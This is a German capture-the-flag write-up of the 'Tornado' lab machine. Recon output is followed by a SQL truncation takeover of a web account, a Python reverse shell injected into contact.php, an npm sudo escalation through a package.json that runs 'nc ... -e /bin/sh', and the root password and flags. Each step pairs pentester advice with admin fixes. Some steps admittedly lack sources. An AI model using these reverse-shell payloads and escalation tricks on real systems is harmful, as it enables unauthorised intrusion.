192.168.2.110 08:00:27:b1:87:7c PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerk zu entdecken. Es wird ein Host mit der IP 192.168.2.110 und der MAC-Adresse 08:00:27:b1:87:7c (PCS Systemtechnik GmbH / Oracle VirtualBox) identifiziert.
Bewertung: Das Zielsystem "Tornado" wurde erfolgreich im Netzwerk lokalisiert. Die IP 192.168.2.110 ist der Ausgangspunkt für weitere Scans.
Empfehlung (Pentester): Notieren Sie die Ziel-IP. Führen Sie Port-Scans (z.B. mit `nmap`) durch, um offene Dienste zu ermitteln.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts einschränken. ARP-Aktivitäten überwachen.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-10 23:50 CET Nmap scan report for tornado (192.168.2.110) Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 0f:57:0d:60:31:4a:fd:2b:db:3e:9e:2f:63:2e:35:df (RSA) | 256 00:9a:c8:d3:ba:1b:47:b2:48:a8:88:24:9f:fe:33:cc (ECDSA) |_ 256 6d:af:db:21:25:ee:b0:a6:7d:05:f3:06:f0:65:ff:dc (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:B1:87:7C (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms tornado (192.168.2.110) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in XX.XX seconds
Analyse: Ein umfassender Nmap-Scan aller TCP-Ports (`-p-`) auf 192.168.2.110 identifiziert zwei offene Ports:
Bewertung: Die primären Angriffsvektoren sind SSH und der Apache-Webserver. Die Apache-Version 2.4.38 ist bekannt für CVE-2019-0211 (LPE), was später relevant sein könnte.
Empfehlung (Pentester): Untersuchen Sie den Webserver auf Port 80 mittels Directory Busting und manueller Analyse. Versuchen Sie Standard-SSH-Logins. Behalten Sie die Apache-Version für spätere LPE-Versuche im Hinterkopf.
Empfehlung (Admin): Halten Sie Apache und SSH aktuell. Konfigurieren Sie SSH sicher (Key-Auth bevorzugen, Root-Login deaktivieren). Sichern Sie Webanwendungen ab.
=============================================================== Gobuster vX.Y.Z =============================================================== [...] =============================================================== Starting gobuster =============================================================== http://192.168.2.110/index.html (Status: 200) [Size: 10701] http://192.168.2.110/manual (Status: 301) [Size: 315] [--> http://192.168.2.110/manual/] http://192.168.2.110/javascript (Status: 301) [Size: 319] [--> http://192.168.2.110/javascript/] http://192.168.2.110/bluesky (Status: 301) [Size: 316] [--> http://192.168.2.110/bluesky/] <-- Webanwendung =============================================================== Finished ===============================================================
Analyse: Ein `gobuster dir`-Scan auf Port 80 findet neben der Standard-`index.html` und dem `/manual`-Verzeichnis ein weiteres Verzeichnis namens `/bluesky`, das auf eine Webanwendung hindeutet.
Bewertung: `/bluesky` ist das primäre Ziel für die weitere Web-Enumeration.
Empfehlung (Pentester): Führen Sie einen weiteren `gobuster`-Scan gezielt auf `http://192.168.2.110/bluesky/` durch, um die Struktur dieser Anwendung aufzudecken.
Empfehlung (Admin): Stellen Sie sicher, dass Webanwendungen aktuell und sicher konfiguriert sind. Entfernen Sie unnötige Verzeichnisse wie `/manual`.
http://192.168.2.110/bluesky/index.html (Status: 200) [Size: 14979] http://192.168.2.110/bluesky/contact.php (Status: 302) [Size: 2034] [--> login.php] <-- Auth erforderlich http://192.168.2.110/bluesky/about.php (Status: 302) [Size: 2024] [--> login.php] <-- Auth erforderlich http://192.168.2.110/bluesky/login.php (Status: 200) [Size: 824] <-- Login-Seite http://192.168.2.110/bluesky/signup.php (Status: 200) [Size: 825] <-- Registrierungsseite http://192.168.2.110/bluesky/h.jpg (Status: 200) [Size: 58736] http://192.168.2.110/bluesky/css (Status: 301) [Size: 320] [--> http://192.168.2.110/bluesky/css/] http://192.168.2.110/bluesky/imgs (Status: 301) [Size: 321] [--> http://192.168.2.110/bluesky/imgs/] http://192.168.2.110/bluesky/js (Status: 301) [Size: 319] [--> http://192.168.2.110/bluesky/js/] http://192.168.2.110/bluesky/logout.php (Status: 302) [Size: 0] [--> login.php] http://192.168.2.110/bluesky/dashboard.php (Status: 302) [Size: 2024] [--> login.php] <-- Auth erforderlich http://192.168.2.110/bluesky/port.php (Status: 302) [Size: 2098] [--> login.php] <-- Auth erforderlich
Analyse: Der `gobuster`-Scan auf `/bluesky` findet mehrere PHP-Dateien, die auf eine Webanwendung mit Benutzerauthentifizierung hindeuten: `login.php`, `signup.php`, `logout.php`. Seiten wie `contact.php`, `about.php`, `dashboard.php`, `port.php` leiten auf `login.php` weiter, wenn man nicht authentifiziert ist.
Bewertung: Die Anwendung erfordert Login. Die `signup.php` bietet die Möglichkeit, ein Konto zu registrieren. Die `login.php` ist für den Login zuständig. Nach dem Login sind wahrscheinlich weitere Funktionen (z.B. in `contact.php`, `dashboard.php`) zugänglich.
Empfehlung (Pentester): Untersuchen Sie die `signup.php` und `login.php`. Registrieren Sie einen Test-Account. Suchen Sie nach Schwachstellen im Registrierungs- oder Login-Prozess (z.B. SQL Injection, unsichere Passwortspeicherung, SQL Truncation Attack). Prüfen Sie nach dem Login die Funktionalität der anderen Seiten (`contact.php` etc.).
Empfehlung (Admin): Stellen Sie sicher, dass Registrierungs- und Login-Funktionen sicher implementiert sind (Passwort-Hashing, Schutz vor SQL Injection, Brute-Force-Schutz, Session Management).
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.110 + Target Hostname: 192.168.2.110 + Target Port: 80 + Start Time: 2022-11-10 23:52:46 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.38 (Debian) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. [...] + The X-Content-Type-Options header is not set. [...] + No CGI Directories found (use '-C all' to force check all possible dirs) + Server may leak inodes via ETags [...] + Allowed HTTP Methods: HEAD, GET, POST, OPTIONS + /manual/: Web server manual found. + /manual/images/: Directory indexing found. + /icons/README: Apache default file found. + 7915 requests: 0 error(s) and 8 item(s) reported on remote host + End Time: 2022-11-10 23:53:30 (GMT1) (44 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Ein `nikto`-Scan bestätigt den Apache-Server, meldet fehlende Security Header und findet das Apache-Manual-Verzeichnis (`/manual`) sowie Directory Indexing darin.
Bewertung: Bestätigt frühere Funde und liefert keine kritischen neuen Informationen. Das Datum wird für den Bericht erfasst.
Empfehlung (Pentester): Fokus auf die `/bluesky`-Anwendung.
Empfehlung (Admin): Fehlende Header implementieren, `/manual`-Verzeichnis entfernen oder schützen.
URLs von Interesse:
http://tornado.hmv/bluesky/login.php
http://tornado.hmv/bluesky/port.php
Gefundener Pfad (Quelle unklar):
/home/tornado/imp.txt
Versuchter LFI (impliziert, Quelle unklar):
http://192.168.2.110/~tornado/imp.txt //working <-- Behauptung "working"
Enumerierte Email-Adressen/Usernames (Quelle unklar):
ceo@tornado
cto@tornado
manager@tornado
hr@tornado
lfi@tornado
admin@tornado
jacob@tornado
it@tornado
sales@tornado
Analyse: Dieser Abschnitt fasst verschiedene Hinweise zusammen, deren Ursprung im Log nicht klar dokumentiert ist:
Bewertung: Diese Hinweise sind entscheidend, aber ihre Herkunft ist unklar. Die LFI-Behauptung ist wichtig, da sie einen Weg zum Lesen von `/home/tornado/imp.txt` darstellt. Die Benutzerliste, insbesondere `jacob@tornado`, ist für den nächsten Schritt relevant.
Empfehlung (Pentester): Verifizieren Sie die LFI (`/~tornado/imp.txt`). Wenn sie funktioniert, lesen Sie den Inhalt von `imp.txt`. Konzentrieren Sie sich auf den Benutzer `jacob` für Angriffe auf die `signup.php`/`login.php`.
Empfehlung (Admin): Untersuchen Sie die Quelle der LFI-Schwachstelle und der Benutzerliste und beheben Sie diese. Stellen Sie sicher, dass Home-Verzeichnisse und sensible Dateien geschützt sind.
SQL Truncation Attack: Ändere in Burp das untere in Backslashes, damit ändern wir das Passwort von Jacob in unseres gewähltes ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: fire up Burp and register with jacob\ <-- Benutzername mit Backslash POST /bluesky/signup.php HTTP/1.1 [...] Content-Type: application/x-www-form-urlencoded Content-Length: 43 [...] Cookie: PHPSESSID=h9u218je6anmhto802vbsl21lr [...] uname=jacob%40tornado&upass=1234&btn=Signup /// Original tauschen mit unterem //// CHANGE uname=jacob%5c1&upass=1234&btn=Signup ///// neuer soll dieser sein <-- %5c ist URL-kodierter Backslash ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: und [forward] dann zu Login und einloggen/ dann zu -> http://tornado.hmv/bluesky/contact.php
Analyse: Dieser Abschnitt beschreibt eine SQL Truncation Attacke auf die Registrierungsseite (`signup.php`): 1. Es wird versucht, einen Benutzer mit einem Namen zu registrieren, der dem Zielbenutzer (`jacob`) ähnelt, aber mit einem Backslash (`\`) endet (z.B. `jacob\`). 2. Der POST-Request zur Registrierung wird mit Burp Suite abgefangen. 3. Der `uname`-Parameter im Request-Body wird manipuliert von `jacob%40tornado` (oder `jacob\`) zu `jacob%5c1` (URL-kodiert für `jacob\1`). Das Passwort (`upass`) bleibt `1234`. 4. Der manipulierte Request wird gesendet. 5. **Funktionsweise (impliziert):** Die Datenbanktabelle für Benutzernamen hat wahrscheinlich eine feste Längenbegrenzung. Wenn `jacob\1` eingefügt wird, wird der String an der maximalen Länge abgeschnitten, sodass nur `jacob` in der Datenbank gespeichert wird. Da `jacob` bereits existiert, führt dies (je nach Implementierung) dazu, dass der bestehende `jacob`-Account mit dem neuen Passwort (`1234`) überschrieben wird oder dass die Registrierung fehlschlägt, aber das Passwort-Update für `jacob` dennoch stattfindet. 6. Das Ergebnis ist, dass sich der Angreifer nun als `jacob` mit dem Passwort `1234` anmelden kann.
Bewertung: Kritische Schwachstelle (SQL Truncation) im Registrierungsprozess gefunden und ausgenutzt. Dies ermöglicht die Übernahme des `jacob`-Accounts.
Empfehlung (Pentester): Melden Sie sich als `jacob` mit dem Passwort `1234` an. Untersuchen Sie die nach dem Login zugänglichen Seiten, insbesondere `contact.php`.
Empfehlung (Admin): Beheben Sie die SQL Truncation Schwachstelle. Stellen Sie sicher, dass die Längen von Benutzereingaben sowohl in der Anwendung als auch in der Datenbank korrekt validiert werden. Verwenden Sie Prepared Statements oder ORMs, um SQL-Injection-Risiken generell zu minimieren. Implementieren Sie Mechanismen zur Erkennung von Kontoübernahmeversuchen.
listening on [any] 9001 ...
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.109",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
listening on [any] 9001 ...
connect to [192.168.2.109] from (UNKNOWN) [192.168.2.110] 43040
bash: cannot set terminal process group (580): Inappropriate ioctl for device
bash: no job control in this shell
Analyse: Nach dem Login als `jacob` (impliziert) wird die Seite `contact.php` aufgerufen. Diese Seite enthält vermutlich ein Kommentar- oder Nachrichtenfeld. In dieses Feld wird ein Python-Reverse-Shell-Payload eingefügt. Beim Absenden des Formulars wird dieser Payload serverseitig ausgeführt. Ein Netcat-Listener auf dem Angreifer-System (192.168.2.109:9001) empfängt die eingehende Verbindung, und der Angreifer erhält eine Shell als `www-data`.
Bewertung: Remote Code Execution (RCE) über ein Kommentarfeld in `contact.php` erfolgreich ausgenutzt. Der Initial Access als `www-data` ist damit erreicht.
Empfehlung (Pentester): Shell stabilisieren. Mit der Enumeration als `www-data` beginnen (`sudo -l`, SUID etc.).
Empfehlung (Admin): Beheben Sie die RCE-Schwachstelle in `contact.php`. Sanitisieren Sie *alle* Benutzereingaben rigoros, insbesondere solche, die potenziell auf dem Server verarbeitet oder ausgeführt werden könnten. Implementieren Sie Output Encoding und eine Web Application Firewall (WAF).
speed 38400 baud; rows 24; columns 80; line = 0;
Analyse: `stty -a` zeigt die aktuellen Terminaleinstellungen an. Dies wird oft nach Erhalt einer Shell gemacht, um zu prüfen, ob es sich um eine interaktive TTY handelt.
Bewertung: Standard-Enumerationsschritt nach Shell-Erhalt.
Empfehlung (Pentester): Fahren Sie mit der Enumeration fort.
Empfehlung (Admin): Keine direkte Aktion.
Kurzbeschreibung: Nach erfolgreichem Login in die `/bluesky`-Webanwendung (hier als Benutzer `jacob`, dessen Konto durch eine SQL Truncation Attacke übernommen wurde) ist die Seite `contact.php` zugänglich. Diese Seite enthält ein Eingabefeld (vermutlich für Kommentare oder Nachrichten), das anfällig für Remote Code Execution (RCE) ist. Benutzereingaben in diesem Feld werden offenbar unsicher auf dem Server verarbeitet und ausgeführt. Durch Einfügen eines geeigneten Payloads (z.B. einer Python-Reverse-Shell) in das Kommentarfeld und Absenden des Formulars kann ein Angreifer beliebigen Code im Kontext des Webserver-Benutzers (`www-data`) ausführen.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
listening on [any] 9001 ...
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.109",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
listening on [any] 9001 ... connect to [192.168.2.109] from (UNKNOWN) [192.168.2.110] 43040 [...] www-data@tornado:/var/www/html/bluesky$ # Shell erhalten
Erwartetes Ergebnis: Eine interaktive Reverse Shell auf dem Zielsystem, ausgeführt mit den Rechten des `www-data`-Benutzers.
Beweismittel: Die erfolgreiche eingehende Verbindung im Netcat-Listener und die Fähigkeit, Befehle in der Shell auszuführen.
Risikobewertung: Hoch. Die Möglichkeit, Code über ein Eingabefeld nach der Authentifizierung auszuführen, stellt eine kritische Schwachstelle dar. Sie erlaubt authentifizierten Benutzern (oder Angreifern, die Konten übernehmen) die vollständige Kompromittierung des Webservers.
Empfehlungen zur Behebung:
Matching Defaults entries for www-data on tornado:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on tornado:
(catchme) NPASSWD: /usr/bin/npm
Analyse: Als `www-data` wird `sudo -l` ausgeführt. Es zeigt sich, dass `www-data` den Befehl `/usr/bin/npm` (Node Package Manager) als Benutzer `catchme` ohne Passwort (`NOPASSWD`) ausführen darf.
Bewertung: Dies ist ein klarer Privilege Escalation Vektor von `www-data` zu `catchme`. `npm` kann Skripte ausführen, die in einer `package.json`-Datei definiert sind. Indem eine manipulierte `package.json` erstellt und dann `npm run-script
Empfehlung (Pentester): Erstellen Sie ein temporäres Verzeichnis (z.B. `/tmp/cool`). Erstellen Sie darin eine `package.json`-Datei, die ein Skript definiert (z.B. `"cool"`), das eine Reverse Shell startet. Führen Sie dann `sudo -u catchme npm run-script cool` aus diesem Verzeichnis aus.
Empfehlung (Admin): Überprüfen Sie diese `sudo`-Regel. Das Ausführen von Paketmanagern wie `npm` als anderer Benutzer ist extrem gefährlich und sollte vermieden werden, da es die Ausführung beliebigen Codes ermöglicht.
[Keine Ausgabe]
[Keine Ausgabe]
[Keine Ausgabe]
[...] # Editor geöffnet
{ "name": "cool", "version": "1.0.0", "description": "CooLWasHere", "main": "index.js", "scripts": { "cool": "nc 192.168.2.109 4444 -e /bin/sh" <-- Reverse Shell Befehl }, "author": "", "license": "UNLICENSED" }
Analyse: Im Verzeichnis `/tmp` wird ein Unterverzeichnis `cool` erstellt. Darin wird eine `package.json`-Datei angelegt. Diese Datei definiert ein NPM-Skript namens `cool`, das beim Ausführen den Befehl `nc 192.168.2.109 4444 -e /bin/sh` startet, um eine Reverse Shell zum Angreifer-System zu senden.
Bewertung: Korrekte Vorbereitung des NPM-Exploits.
Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf Port 4444 auf Ihrem Angreifer-System (192.168.2.109). Führen Sie dann den `sudo`-Befehl aus: `sudo -u catchme npm run-script cool`.
Empfehlung (Admin): `sudo`-Regel für `npm` entfernen.
listening on [any] 4444 ...
npm WARN npm npm does not support Node.js v10.21.0 <-- Warnungen, aber Skript wird ausgeführt
[...]
> cool@1.0.0 cool /tmp/cool
> nc 192.168.2.109 4444 -e /bin/sh
listening on [any] 4444 ...
connect to [192.168.2.109] from (UNKNOWN) [192.168.2.110] 54260
uid=1000(catchme) gid=1000(catchme) groups=1000(catchme),24(cdrom),[...]
Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Auf dem Zielsystem wird `sudo -u catchme npm run-script cool` ausgeführt. Trotz einiger Warnungen bezüglich der Node.js-Version führt NPM das definierte `cool`-Skript aus, welches die Reverse Shell startet. Der Listener empfängt die Verbindung, und der `id`-Befehl bestätigt, dass die Shell nun als Benutzer `catchme` läuft.
Bewertung: Privilege Escalation von `www-data` zu `catchme` erfolgreich über den NPM-Exploit der `sudo`-Regel.
Empfehlung (Pentester): Stabilisieren Sie die Shell als `catchme`. Enumerieren Sie weiter: `sudo -l`, Home-Verzeichnis, SUID-Dateien, Cronjobs. Suchen Sie die User-Flag.
Empfehlung (Admin): Entfernen Sie die unsichere `sudo`-Regel.
/tmp/cool
[Keine Ausgabe]
enc.py user.txt
HMVkeyedcaesar
Analyse: Als Benutzer `catchme` wird ins Home-Verzeichnis gewechselt. Dort befinden sich die Dateien `enc.py` und `user.txt`. Die User-Flag wird aus `user.txt` gelesen.
Bewertung: User-Flag gefunden. Die Datei `enc.py` ist ein wichtiger Hinweis für die weitere Eskalation.
Empfehlung (Pentester): Analysieren Sie `enc.py`. Es handelt sich wahrscheinlich um ein Verschlüsselungs- oder Passwort-Skript, das Hinweise auf das Root-Passwort geben könnte.
Empfehlung (Admin): Keine direkte Aktion bezüglich der Flag.
Password:
[Keine Ausgabe]
Analyse: Es wird versucht, mit `su root` zum Root-Benutzer zu wechseln. Das Passwort `idkrootpassword` wird eingegeben. **Wichtiger Hinweis:** Das Log dokumentiert nicht, wie dieses Passwort gefunden wurde. Es ist sehr wahrscheinlich, dass die Analyse der Datei `enc.py` (die im vorherigen Schritt gefunden wurde) dieses Passwort oder einen Weg zu seiner Ableitung offenbarte.
Bewertung: Privilege Escalation zu `root` erfolgreich abgeschlossen. Der exakte Mechanismus (Analyse von `enc.py`) fehlt im Log, aber das Ergebnis ist der Root-Zugriff.
Empfehlung (Pentester): Root-Zugriff erreicht. Suchen Sie die Root-Flag.
Empfehlung (Admin): Ändern Sie das Root-Passwort. Untersuchen Sie das Skript `enc.py` auf Schwachstellen oder Informationslecks.
[Keine Ausgabe]
root.txt
HMVgoodwork
Analyse: Als `root` wird ins Home-Verzeichnis gewechselt und die Datei `root.txt` ausgelesen.
Bewertung: Die Root-Flag wurde erfolgreich gefunden.
Empfehlung (Pentester): Alle Ziele erreicht. Bericht abschließen.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.